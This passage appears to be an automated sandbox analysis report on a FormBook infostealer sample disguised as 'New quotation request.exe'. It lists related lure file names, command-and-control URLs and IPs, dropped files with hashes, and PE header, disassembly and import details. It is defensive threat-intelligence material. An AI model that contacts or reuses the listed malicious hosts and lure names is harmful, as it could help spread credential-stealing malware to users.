                                                                  • www.die-cyber-versicherer.com/co9t/?LVuSGU=-giyq0&MGuik=O0wiA489QXAo4/zisxW0kKpRL90vV9sT3USeBzF+d48ZKZIeaBWCTOAUxMvYVu20Q54TxHeRRe+2rSLSyytqRGlmgBV+voPflw==
                                                                  203.161.42.73YH-3-12-2024-GDL Units - Projects.exeGet hashmaliciousFormBookBrowse
                                                                  • www.brightvision.website/gn26/
                                                                  BASF Hung#U00e1ria Kft.exeGet hashmaliciousFormBookBrowse
                                                                  • www.brightvision.website/gn26/
                                                                  Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                                  • www.brightvision.website/gn26/
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • www.trendave.xyz/nhcb/
                                                                  PDF PURCHASE INQUIRY PDF.exeGet hashmaliciousFormBookBrowse
                                                                  • www.nexio.life/xsla/
                                                                  MV ALIADO-S-REQ-19-000640.exeGet hashmaliciousFormBookBrowse
                                                                  • www.nexio.life/xsla/
                                                                  doc330391202408011.exeGet hashmaliciousFormBookBrowse
                                                                  • www.vynix.xyz/bgqc/
                                                                  yyyyyyyy.exeGet hashmaliciousFormBookBrowse
                                                                  • www.wyrlo.live/d98v/?EN-hu=LYDXGQwVCoMuYrXSW7MgSssXW4nPW6/lB4t/975EIYDnNxIunPhAyQV+sFLwFKE3iI1OoyaerizxnpL4k+hV3wpy9h6iImSBX/Gothd1bsBJyDzWSA==&zx=TzUh
                                                                  MV ALIADO - S-REQ-19-00064 List items.exeGet hashmaliciousFormBookBrowse
                                                                  • www.nexio.life/xsla/
                                                                  AUG 2024 SOA.exeGet hashmaliciousFormBookBrowse
                                                                  • www.slyra.xyz/05no/
                                                                  23.167.152.41A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                  • www.75178.club/a4h7/
                                                                  Payment-251124.exeGet hashmaliciousFormBookBrowse
                                                                  • www.75178.club/q34f/
                                                                  A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                  • www.75178.club/a4h7/

                                                                  Domains

                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  gtml.huksa.huhusddfnsuegcdn.comInvoice 10493.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  HUEtVS3MQe.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  Payment-251124.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  rGO880-PDF.exeGet hashmaliciousFormBookBrowse
                                                                  • 206.119.185.138
                                                                  Arrival Notice.exeGet hashmaliciousFormBookBrowse
                                                                  • 206.119.185.141
                                                                  Maryam Farokhi-PhD- CV-1403.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  NIlfETZ9aE.exeGet hashmaliciousFormBookBrowse
                                                                  • 206.119.185.226
                                                                  www.trendave.xyzneed quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • 203.161.42.73
                                                                  www.rafconstrutora.onlinePO 4110007694.exeGet hashmaliciousFormBookBrowse
                                                                  • 104.21.34.103
                                                                  attached invoice.exeGet hashmaliciousFormBookBrowse
                                                                  • 172.67.159.24
                                                                  OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                                  • 104.21.34.103
                                                                  DOC_114542366.vbeGet hashmaliciousFormBookBrowse
                                                                  • 172.67.159.24
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • 188.114.96.3
                                                                  www.lgdiamonds.infoNew Order.exeGet hashmaliciousFormBookBrowse
                                                                  • 130.185.109.77
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • 130.185.109.77

                                                                  ASNs

                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  ASN852CAarm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                  • 209.121.181.111
                                                                  sh4.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                  • 104.205.180.143
                                                                  Qsgtknmtt.exeGet hashmaliciousUnknownBrowse
                                                                  • 108.181.20.36
                                                                  Fzcaaz.exeGet hashmaliciousUnknownBrowse
                                                                  • 108.181.20.36
                                                                  Ekyrfzxogk.exeGet hashmaliciousUnknownBrowse
                                                                  • 108.181.20.36
                                                                  Qsgtknmtt.exeGet hashmaliciousUnknownBrowse
                                                                  • 108.181.20.36
                                                                  Fzcaaz.exeGet hashmaliciousUnknownBrowse
                                                                  • 108.181.20.36
                                                                  Ekyrfzxogk.exeGet hashmaliciousUnknownBrowse
                                                                  • 108.181.20.36
                                                                  armv7l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                  • 206.116.126.212
                                                                  sora.mips.elfGet hashmaliciousMiraiBrowse
                                                                  • 205.151.243.133
                                                                  XIRRADENew Order.exeGet hashmaliciousFormBookBrowse
                                                                  • 130.185.109.77
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • 130.185.109.77
                                                                  file.exeGet hashmaliciousSystemBCBrowse
                                                                  • 185.169.24.192
                                                                  Zam#U00f3wienie Z2300056_pdf .scr.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                  • 185.169.24.118
                                                                  New order -24900242 OP_pdf .exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                  • 185.169.24.118
                                                                  vAZYIEQMP8.elfGet hashmaliciousMirai, MoobotBrowse
                                                                  • 195.138.242.157
                                                                  MaMsKRmgXZ.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                  • 130.185.109.77
                                                                  Product24573.exeGet hashmaliciousFormBookBrowse
                                                                  • 130.185.109.77
                                                                  Siirtokuitti_006703.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                  • 130.185.109.77
                                                                  P5348574_74676.exeGet hashmaliciousFormBookBrowse
                                                                  • 130.185.109.77
                                                                  VNPT-AS-VNVNPTCorpVNx86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                  • 14.234.225.230
                                                                  sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                  • 14.170.3.101
                                                                  sora.m68k.elfGet hashmaliciousMiraiBrowse
                                                                  • 14.253.31.193
                                                                  armv7l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                  • 113.169.255.117
                                                                  sh4.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                  • 14.189.244.120
                                                                  Invoice 10493.exeGet hashmaliciousFormBookBrowse
                                                                  • 202.92.5.23
                                                                  ek8LkB2Cgo.exeGet hashmaliciousFormBookBrowse
                                                                  • 203.161.43.228
                                                                  nfkciRoR4j.exeGet hashmaliciousXmrigBrowse
                                                                  • 203.161.45.11
                                                                  x86.elfGet hashmaliciousMiraiBrowse
                                                                  • 123.22.224.29
                                                                  mpsl.elfGet hashmaliciousMiraiBrowse
                                                                  • 14.234.227.138
                                                                  ESVC-ASNUSA2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  Payment-251124.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • 23.167.152.41
                                                                  FSd2UlLC6H.elfGet hashmaliciousUnknownBrowse
                                                                  • 23.167.178.53
                                                                  1YhXFyiSni.dllGet hashmaliciousWannacryBrowse
                                                                  • 23.167.182.84

                                                                  JA3 Fingerprints

                                                                  ⊘No context

                                                                  Dropped Files

                                                                  ⊘No context

                                                                  Created / dropped Files

                                                                  C:\Users\user\AppData\Local\Temp\a155F05G

                                                                  Download File
                                                                  Process:C:\Windows\SysWOW64\rasdial.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                  Category:dropped
                                                                  Size (bytes):114688
                                                                  Entropy (8bit):0.9746603542602881
                                                                  Encrypted:false
                                                                  SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                  MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                  SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                  SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                  SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                  Malicious:false
                                                                  Reputation:high, very likely benign file
                                                                  Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\aut3CA1.tmp

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\New quotation request.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):288256
                                                                  Entropy (8bit):7.990831655302647
                                                                  Encrypted:true
                                                                  SSDEEP:6144:EBhqvDWD3VtgMb5I98+VomTx8ByAqalJSWsS1Qw5ratdAE7FjEWHdN:MhKW5uainFKyQlUWsS1QwwtdAu
                                                                  MD5:D62414544D1BEB4FD574F9E787289A3D
                                                                  SHA1:42D98D370842FA93CBDA4B08822DD049968C872E
                                                                  SHA-256:27458A7F149ABAB2AD0276E38A3E2C2349C78233DCC923F729FDE23EBB0B35CD
                                                                  SHA-512:0CE05DDE3F8EA292C254B25903E59BA2700BEE7F9CE486193A6EA22805A4F68A40D09CCCFB9B89C0911A909C049CCE3DD7A71D961606B5EEBD2CB25EAF0C71B8
                                                                  Malicious:false
                                                                  Reputation:low
                                                                  Preview:...1P78PU4XS..S7.PQ4XS11.78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4.S11](.^Q.Q...R{.q.\1 .A!X_"0Yx0P_=XLp3Qx!D_s^Vp.{.s\^7R.]\>|S11S78P(5Q..Q4..06.e3V.I...kT?.+....06.B...oW_..];;.Q4.8PQ4XS11.r8P.5YS..Ln8PQ4XS11.7:QZ5SS1eW78PQ4XS113#8PQ$XS1AW78P.4XC11S58PW4XS11S7>PQ4XS11SG<PQ6XS11S7:P..XS!1S'8PQ4HS1!S78PQ4HS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS.E6OLPQ4\.51S'8PQ`\S1!S78PQ4XS11S78Pq4X311S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4

                                                                  C:\Users\user\AppData\Local\Temp\starbright

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\New quotation request.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):288256
                                                                  Entropy (8bit):7.990831655302647
                                                                  Encrypted:true
                                                                  SSDEEP:6144:EBhqvDWD3VtgMb5I98+VomTx8ByAqalJSWsS1Qw5ratdAE7FjEWHdN:MhKW5uainFKyQlUWsS1QwwtdAu
                                                                  MD5:D62414544D1BEB4FD574F9E787289A3D
                                                                  SHA1:42D98D370842FA93CBDA4B08822DD049968C872E
                                                                  SHA-256:27458A7F149ABAB2AD0276E38A3E2C2349C78233DCC923F729FDE23EBB0B35CD
                                                                  SHA-512:0CE05DDE3F8EA292C254B25903E59BA2700BEE7F9CE486193A6EA22805A4F68A40D09CCCFB9B89C0911A909C049CCE3DD7A71D961606B5EEBD2CB25EAF0C71B8
                                                                  Malicious:false
                                                                  Preview:...1P78PU4XS..S7.PQ4XS11.78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4.S11](.^Q.Q...R{.q.\1 .A!X_"0Yx0P_=XLp3Qx!D_s^Vp.{.s\^7R.]\>|S11S78P(5Q..Q4..06.e3V.I...kT?.+....06.B...oW_..];;.Q4.8PQ4XS11.r8P.5YS..Ln8PQ4XS11.7:QZ5SS1eW78PQ4XS113#8PQ$XS1AW78P.4XC11S58PW4XS11S7>PQ4XS11SG<PQ6XS11S7:P..XS!1S'8PQ4HS1!S78PQ4HS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS.E6OLPQ4\.51S'8PQ`\S1!S78PQ4XS11S78Pq4X311S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4XS11S78PQ4

                                                                  Static File Info

                                                                  General

                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Entropy (8bit):7.193528059198972
                                                                  TrID:
                                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                  • DOS Executable Generic (2002/1) 0.02%
                                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                  File name:New quotation request.exe
                                                                  File size:1'211'392 bytes
                                                                  MD5:13d18c730c0b457f937da32d1948ce80
                                                                  SHA1:40a001520b438d5921c01398802cfe634e7bb500
                                                                  SHA256:714a4091f6e7fcd8f862cf8ee4599669695cc052161935ca729063ac0032e3dd
                                                                  SHA512:37225e76c5f43dcef2535338266a03f0d84e2a1defe3d79399050a4e40d93d25c5bf323d29f6afbd1a22cc5d2a7e765a09f220cf7f987dc79306a9c7d8b8ef6f
                                                                  SSDEEP:24576:Lu6J33O0c+JY5UZ+XC0kGso6Fa+3qymbaG9sfiJlIWY:lu0c++OCvkGs9Fa+3fmbT9ygY
                                                                  TLSH:B145CE22B3DDC360CB669173BF69B7016EBF3C614630B95B2F980D7DA950162162C7A3
                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

                                                                  File Icon

                                                                  Icon Hash:aaf3e3e3938382a0

                                                                  Static PE Info

                                                                  General

                                                                  Entrypoint:0x427dcd
                                                                  Entrypoint Section:.text
                                                                  Digitally signed:false
                                                                  Imagebase:0x400000
                                                                  Subsystem:windows gui
                                                                  Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                  DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                  Time Stamp:0x674FC801 [Wed Dec 4 03:09:53 2024 UTC]
                                                                  TLS Callbacks:
                                                                  CLR (.Net) Version:
                                                                  OS Version Major:5
                                                                  OS Version Minor:1
                                                                  File Version Major:5
                                                                  File Version Minor:1
                                                                  Subsystem Version Major:5
                                                                  Subsystem Version Minor:1
                                                                  Import Hash:afcdf79be1557326c854b6e20cb900a7

                                                                  Entrypoint Preview

                                                                  Instruction
                                                                  call 00007FA960D2606Ah
                                                                  jmp 00007FA960D18E34h
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  int3
                                                                  push edi
                                                                  push esi
                                                                  mov esi, dword ptr [esp+10h]
                                                                  mov ecx, dword ptr [esp+14h]
                                                                  mov edi, dword ptr [esp+0Ch]
                                                                  mov eax, ecx
                                                                  mov edx, ecx
                                                                  add eax, esi
                                                                  cmp edi, esi
                                                                  jbe 00007FA960D18FBAh
                                                                  cmp edi, eax
                                                                  jc 00007FA960D1931Eh
                                                                  bt dword ptr [004C31FCh], 01h
                                                                  jnc 00007FA960D18FB9h
                                                                  rep movsb
                                                                  jmp 00007FA960D192CCh
                                                                  cmp ecx, 00000080h
                                                                  jc 00007FA960D19184h
                                                                  mov eax, edi
                                                                  xor eax, esi
                                                                  test eax, 0000000Fh
                                                                  jne 00007FA960D18FC0h
                                                                  bt dword ptr [004BE324h], 01h
                                                                  jc 00007FA960D19490h
                                                                  bt dword ptr [004C31FCh], 00000000h
                                                                  jnc 00007FA960D1915Dh
                                                                  test edi, 00000003h
                                                                  jne 00007FA960D1916Eh
                                                                  test esi, 00000003h
                                                                  jne 00007FA960D1914Dh
                                                                  bt edi, 02h
                                                                  jnc 00007FA960D18FBFh
                                                                  mov eax, dword ptr [esi]
                                                                  sub ecx, 04h
                                                                  lea esi, dword ptr [esi+04h]
                                                                  mov dword ptr [edi], eax
                                                                  lea edi, dword ptr [edi+04h]
                                                                  bt edi, 03h
                                                                  jnc 00007FA960D18FC3h
                                                                  movq xmm1, qword ptr [esi]
                                                                  sub ecx, 08h
                                                                  lea esi, dword ptr [esi+08h]
                                                                  movq qword ptr [edi], xmm1
                                                                  lea edi, dword ptr [edi+08h]
                                                                  test esi, 00000007h
                                                                  je 00007FA960D19015h
                                                                  bt esi, 03h
                                                                  jnc 00007FA960D19068h

                                                                  Rich Headers

                                                                  Programming Language:
                                                                  • [ASM] VS2013 build 21005
                                                                  • [ C ] VS2013 build 21005
                                                                  • [C++] VS2013 build 21005
                                                                  • [ C ] VS2008 SP1 build 30729
                                                                  • [IMP] VS2008 SP1 build 30729
                                                                  • [ASM] VS2013 UPD4 build 31101
                                                                  • [RES] VS2013 build 21005
                                                                  • [LNK] VS2013 UPD4 build 31101

                                                                  Data Directories

                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0xba44c0x17c.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0xc70000x5f37c.rsrc
                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x1270000x711c.reloc
                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa48700x40.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                  Sections

                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                  .text0x10000x8dcc40x8de00d28a820a1d9ff26cda02d12b888ba4b4False0.5728679102422908data6.676118058520316IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                  .rdata0x8f0000x2e10e0x2e20079b14b254506b0dbc8cd0ad67fb70ad9False0.33535526761517614OpenPGP Public Key5.76010872795207IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                  .data0xbe0000x8f740x52009f9d6f746f1a415a63de45f8b7983d33False0.1017530487804878data1.198745897703538IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .rsrc0xc70000x5f37c0x5f4001e1e058deedc02e2b9377f81466c0a07False0.9313304831036745data7.901379242543202IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                  .reloc0x1270000x711c0x72006fcae3cbbf6bfbabf5ec5bbe7cf612c3False0.7650767543859649data6.779031650454199IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                  Resources

                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                  RT_ICON0xc75a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                  RT_ICON0xc76d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                  RT_ICON0xc77f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                  RT_ICON0xc79200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                                  RT_ICON0xc7c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                                  RT_ICON0xc7d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                                  RT_ICON0xc8bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                                                  RT_ICON0xc94800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                                  RT_ICON0xc99e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                                  RT_ICON0xcbf900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                                  RT_ICON0xcd0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                                  RT_MENU0xcd4a00x50dataEnglishGreat Britain0.9
                                                                  RT_STRING0xcd4f00x594dataEnglishGreat Britain0.3333333333333333
                                                                  RT_STRING0xcda840x68adataEnglishGreat Britain0.2747909199522103
                                                                  RT_STRING0xce1100x490dataEnglishGreat Britain0.3715753424657534
                                                                  RT_STRING0xce5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                                                  RT_STRING0xceb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                                                  RT_STRING0xcf1f80x466dataEnglishGreat Britain0.3605683836589698
                                                                  RT_STRING0xcf6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                                  RT_RCDATA0xcf7b80x56643data1.0003278141858762
                                                                  RT_GROUP_ICON0x125dfc0x76dataEnglishGreat Britain0.6610169491525424
                                                                  RT_GROUP_ICON0x125e740x14dataEnglishGreat Britain1.25
                                                                  RT_GROUP_ICON0x125e880x14dataEnglishGreat Britain1.15
                                                                  RT_GROUP_ICON0x125e9c0x14dataEnglishGreat Britain1.25
                                                                  RT_VERSION0x125eb00xdcdataEnglishGreat Britain0.6181818181818182
                                                                  RT_MANIFEST0x125f8c0x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                                  Imports

                                                                  DLLImport
                                                                  WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
                                                                  VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
                                                                  WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                  COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                                  MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                                  WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
                                                                  PSAPI.DLLGetProcessMemoryInfo
                                                                  IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                                  USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
                                                                  UxTheme.dllIsThemeActive
                                                                  KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
